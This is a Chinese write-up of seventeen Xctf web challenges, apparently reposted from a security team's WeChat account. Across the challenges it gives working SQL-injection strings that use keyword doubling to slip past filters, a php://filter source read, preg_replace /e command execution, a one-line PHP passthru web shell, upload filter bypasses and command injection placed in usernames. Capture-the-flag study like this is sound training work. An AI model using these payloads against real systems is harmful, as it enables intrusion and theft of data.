Xctf攻防世界-Web進階題攻略


玩法介紹
javascript

      攻防世界答題模塊是一款提高我的信息安全水平的益智趣味答題,用戶可任意選擇題目類型進行答題。php


 

第一題:html

        Burp攔截後對id進行爆破。前端

 


-----------------------------------------------------------------------------java

 

第二題:python

        Burp攔截後對search參數進行sql注入。linux

 


-----------------------------------------------------------------------------nginx

 

第三題:git

        掃出了.git,用GitHack把站點扒下,對index.php審查,$file中沒有作處理和驗證,能夠用system()構造payload,web

 



-----------------------------------------------------------------------------

 

第四題:

        下載附件,文本打開,修改後綴爲html以html方式打開,發現是亂碼,用view-source審查前端元素,用alert替代eval,得到源碼,複製代碼到瀏覽器控制檯運行,得到flag。

 


 

-----------------------------------------------------------------------------

 

第五題:

        註冊登錄進去,發現有上傳點,傳php小馬,發現沒法突破。

文件名稱存在注入,聯合查詢select,union被過濾,雙寫可繞過,使用conv進制轉換成10禁止,一次獲取字串的12位,用substr截取12.

 


 


回顯數字131277325825392轉化爲字符串位web_up爲部分庫名

 


再把後面的庫名用substr(hex())查出來,轉化後拼接後發現庫名爲web_upload

 

用雙寫繞過編寫exp爲:'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

獲得回顯爲114784820031327轉化爲字符串爲hello_

 

'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg

獲得回顯爲112615676665705轉化爲字符串爲flag_i

 

'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg

回顯爲126853610566245轉化爲字符串爲s_here

獲得表名:hello_flag_is_here

 

找列:

'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

回顯爲115858377367398轉化爲字符串爲i_am_f

 

Exp修改成à)),13,12),16,10))

回顯爲7102823轉化爲字符串爲lag

合併列名爲i_am_flag

 

根據庫表列名構造語句:

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

獲得回顯爲36427215695199

轉化爲字符串爲!!_@m_

 

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

回顯爲92806431727430

轉化爲字符串爲Th.e_F

 

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

回顯爲560750951

轉化爲字符串爲!lag

 

拼接爲!!_@m_ Th.e_F!lag

 

 

-----------------------------------------------------------------------------

 

第六題:

        7kbscan掃描後發現index.phps得到部分源碼,對源碼進行分析,發現id在代碼中進行了url編碼,嘗試用js函數」a」.charCodeAt進行編碼,發現不行,看了下writeup發現瀏覽器也會對url再進行一次url編碼,應該再進行一次編碼進行繞過。

?id=%2561dmin

 


-----------------------------------------------------------------------------

 

第七題:

        題目php反序列,查看源碼,我對php反序列不是很懂,發現裏面調用了function _wakeup(),百度發現wakeup()是反序列的危險函數,找payload,調試payload。



-----------------------------------------------------------------------------

 

第八題:

        使用%80特殊ascii符號,由於url編碼是16進制的,80就是128,ascii容許0-127,使web程序產生報錯,根據報錯信息得知程序是python的django web寫的,使用php curl@能夠訪問配置文件。

 


訪問配置文件@/opt/api/api/settings.py,搜索databases得到數據庫信息,並訪問,在數據庫中搜索ctf,得到flag。

 

-----------------------------------------------------------------------------

 

第九題:

進入題目,題目惟一有用的線索就是view-source:url後發現一個?Page=index,點擊連接發現有異常(算不算小提示??)

 

根據php僞協議構造出?Page=php://filter/read=convert.base64-encode/resource=index.php

 


將內容base64解碼得出index.php源碼,源碼中發現函數preg-replace()函數,/e 修正符使 preg_replace() 將 replacement 參數看成 PHP 代碼


Burp修改xff的值且傳參中使用php函數passthru()調用系統命令,而後開始一步步找flag

 


利用linuxfind找出相關路徑

 


Cd進去

 


Cat查看flag


-----------------------------------------------------------------------------

 

第十題:


        查看源碼得知,題目使用unicorn.jsutill.jssecret.js,分析一下發現unicorn.js是一個模擬cpu的庫,得到password過程 test_pw(enc_pw(input), get_pw()) 

發現get_pw()是固定值,那咱們就從test_pw()enc_pw()入手獲得正確的input,觀察enc_pw()函數發現寫入內存指令在於_[o2[a]] 



爲了得知enc_pw()對內存的操做,模擬enc_pw()構造AMD1() 函數,再將output轉換成16進制,

0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3 



 轉換成彙編指令

 

分析得知,enc_ps()對內存的操做以下:

初始化輸入密碼地址及長度地址->初始化輸出結果地址,技術去和奇偶校驗寄存器->將輸入密碼的地址位數據傳入中間數據->校驗輸入密碼上一位數據的奇偶性-->奇數:截取計數器二進制最後兩位與中間數據相加---------------------------------|

   |->中間數據加6->更新奇偶校驗寄存器->將中間數據傳入結果地址中->輸入地址加一結果存儲地址加一 技術去加一->計數器是否小於輸入密碼長度?-->->結束

|->->將輸入密碼的地址位數據傳入中間數據->…

 

爲了得知test_pw()對內存的操做,,模擬getARM1()函數編寫getARM1(),用toHex函數將output轉換爲16進制,

 


分析得知,大概判斷流程以下:

1.傳入輸入密碼和隱藏密碼的基址位數據

2.將輸入密碼加5

3.判斷循環次數奇偶性,若爲奇數將傳入密碼減3並比較傳入密碼與隱藏密碼是否相等,若爲偶數直接比較傳入密碼與隱藏密碼是否相等

4.若是傳入密碼與隱藏密碼不相等則至關於直接退出,若是相等,基址加一,計數器加一

5.判斷計數器是否小於輸出密碼的長度,若小於直接回到1若不小於則至關於直接退出

 

逆向函數不會寫,看了下網上的writeup

1.test_pw()的逆向函數:


function findReqR6(){ var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //從get_pw()的到的返回值 var required = new Array(); for(var i = 0 ; i < pw.length; i ++ ){ var a = pw[i]; a = a - 5; //原流程加5 if(i & 1 == 1){ a = a + 3; // 原流程減3 }  required[i] = a; } return required;}htos(findRqR6())返回enc_pw(user_input)的字符串轉換結果返回值:SWu_N?<VZN=qngnm_hn_g]nQPTRXTWT`


2.構造enc_pw()函數的逆向函數獲取正確的UserInput


function reverseEnc(argarray){ var test = 0; var output = new Array(); for(var i = 0 ; i < argarray.length ; i++){ var x = argarray[i]; if(test == 1){ var sub = (i & 3); x = x - sub; //原流程加上相與值. } x = x - 6; //原流程加6 test = (argarray[i] & 1); output[i] = x; } return output;}


htos(reverseEnc(findReqR6()))返回正確的userinput

 


 

-----------------------------------------------------------------------------

 

第十一題:

進去登錄註冊發現admin已經註冊,bp抓包,分析user的值編碼或者加密,發現user的值是{uid:username}的格式進行md5加密的,以下圖

 


 


對各個功能點進行測試,發現personal功能存在越權操做,咱們得知管理員username=admin,假設admin的uid=1,修改uid的值爲1和user的值查看相應的信息。

 


登出,根據剛查看的信息修改管理員密碼,而後登陸

 


點擊管理模塊,報IP錯誤,發現修改xff的值能進行繞過

 


 訪問提示的index.php?module=filemanage&do=???,分析???是啥,發現upload,上傳php小馬,被攔截,合成圖片馬,被攔截,gif頭截斷也被攔截,服務器使nginx1.12.2,不存在解析漏洞

bp抓包,修改content-type參數和修改文件後綴名嘗試繞過,發現,alert的內容有所不一樣,然而仍是沒法獲得什麼。

 



最後嘗試用<script language=」php」>進行繞過,得出flag

 


-----------------------------------------------------------------------------


第十二題:

        進去登錄註冊,沒有發現常規注入和robots、git、svn等泄露,何種功能點測試一遍,發如今發佈的貼子的路徑存在文件穿越漏洞,修改post的值可訪問泄露的路徑

 


發現源碼泄露,發現一處地方有異常,源碼解讀發現若是用戶爲admin便可得知$get_flag1的值(可能存在flag2???),且從源碼中得知存在users/文件夾,

 


訪問users文件夾,發現裏面泄露了用戶的cookie

 


咱們找出admin的cookie而後使用cookieManager修改username和cookie的值登陸admin

 

 


登錄admin

發現flag1就在頁尾(只有一半,咱們等下去找flag2)



 

//代碼審計搞起來哎!(@_@眼睛都花了)

發現function reply()中,$(username)>$(next_file)這裏username寫在了next_file(評論文件的內容)中,且得知了post的路徑,題目中的wtf文件不是通常的web文件,不過它能被服務器解析,須要$定義參數,根據用戶名參數咱們能夠在users_lookup路徑下構造wtf後綴的shell

 


傳不上shell,發現若是路徑不加%09,shell會被當作目錄解析

構造用戶名參數=${find -iname get_flag2},發現用戶名被註冊

構造用戶名${find,-iname,get_flag2},路徑加上%09繞過

 


訪問shell,獲得一個路徑

根據路徑構造用戶名=$/usr/bin/get_flag2,繼續上傳shell,訪問shell,獲得flag2


 

-----------------------------------------------------------------------------


第十三題:

        分析源碼,往上推算程序,編寫程序,獲得flag。

正向思路-->反轉$str-->反轉後的$str的每一個字符ascii碼+1再轉換成unicode等正常編碼-->通過以上操做的$str通過base64編碼再反轉字符串再通過str_rot13編碼-->$miwen

 


 

-----------------------------------------------------------------------------


第十四題:

        進去發現web中有perl文件,在/cgi-bin/file.pl中存在上傳功能,會把上傳的文件以文本形式讀出來

 


沒啥頭緒,看了一下博客和wp,

猜想文件上傳的代碼爲以下圖

 


param()會返回一個列表文件可是隻有第一個文件會被放入到下面的file變量中,傳入ARGV文件,perl會將文件名讀出來

 


猜想flag在目錄下,獲得flag

 


-----------------------------------------------------------------------------


第十五題:

        進去,發現view-source:裏面有源碼

分析源碼

 


發現要先用get傳遞?id參數使id的浮點數不等於1且最後一位爲9,就會變成admin的session

這裏咱們傳遞?Id=0%209

 


admin的session下,傳遞con和file參數(con就是文件內容=o=,想了好久看writeup才知道的),且匹配正則成功後傳到uploaded文件夾下,

 


構造參數con=<?php passthru($_GET[bash]);?>&file=../1.php/.

File使用了/.繞過正則,正則過濾一次後綴,咱們再構造一次 . 就行了。

得出flag

 


 

-----------------------------------------------------------------------------


第十六題:

        進入網站,只有一個倒計時js,url猜想,根據標題和題目猜想出zhuanxvlogin,找到登陸頁


Burp截包,發現傳輸流量過程有一個bg.jpg背景圖,複製連接能夠進行下載

 


Github搜索zhuanxv能夠在備忘錄中發現web是java寫的

 


已知javaweb的文件分佈如->



利用bg.jpg的下載連接進行文件包含找web.xml

 


發現web是用struts寫的,咱們繼續找struts的配置文件struts.xml

 


找到一個/WEB-INF/classes/下的 UserloginAction.class DownloadAction.class AdminAction.class文件,利用bg.jpg文件包含連接進行下載,修改後綴名等操做

接下來,咱們找webapplication的配置文件applicationContext.xml

 


發現web的操做數據庫層框架Hibernate和數據庫用戶名和密碼都爲root,還有UserServiceImplUserDaoImpl兩個class文件,進行下載

利用java反編譯軟件jd-gui查看源碼

 



 

發現程序沒有對name進行正則校驗,且程序sql語句沒有預編譯,存在sql注入

 


注入須要結合Hibernate的子查詢特性進行(構造不出exp,Hibernate沒學過,上網找的exp),搞出exp,運行,獲得flag

 

-----------------------------------------------------------------------------

第十七題:

        進去index.php發現有個連接跳轉下載,發現連接地址有ssrf字符(提示?),下載是一個pdf文件

 

上目錄掃描發現downloads/secret/路徑

 

按照文件名推算,secret_debug.php應該是secret.php的調試文件,沒法訪問debug.php

 

Secret.php是一個註冊功能點

 


利用secret.php的註冊連接後半段和ssrf組合連接訪問secret_debug.php發現404,程序把請求看成是pdf訪問請求,利用urlencode把&編碼一下能夠繞過。

 


linux的curl訪問

 


程序出錯,發現sql注入



編寫exp









手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全實驗室



本文分享自微信公衆號 - Khan安全團隊(KhanCJSH)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索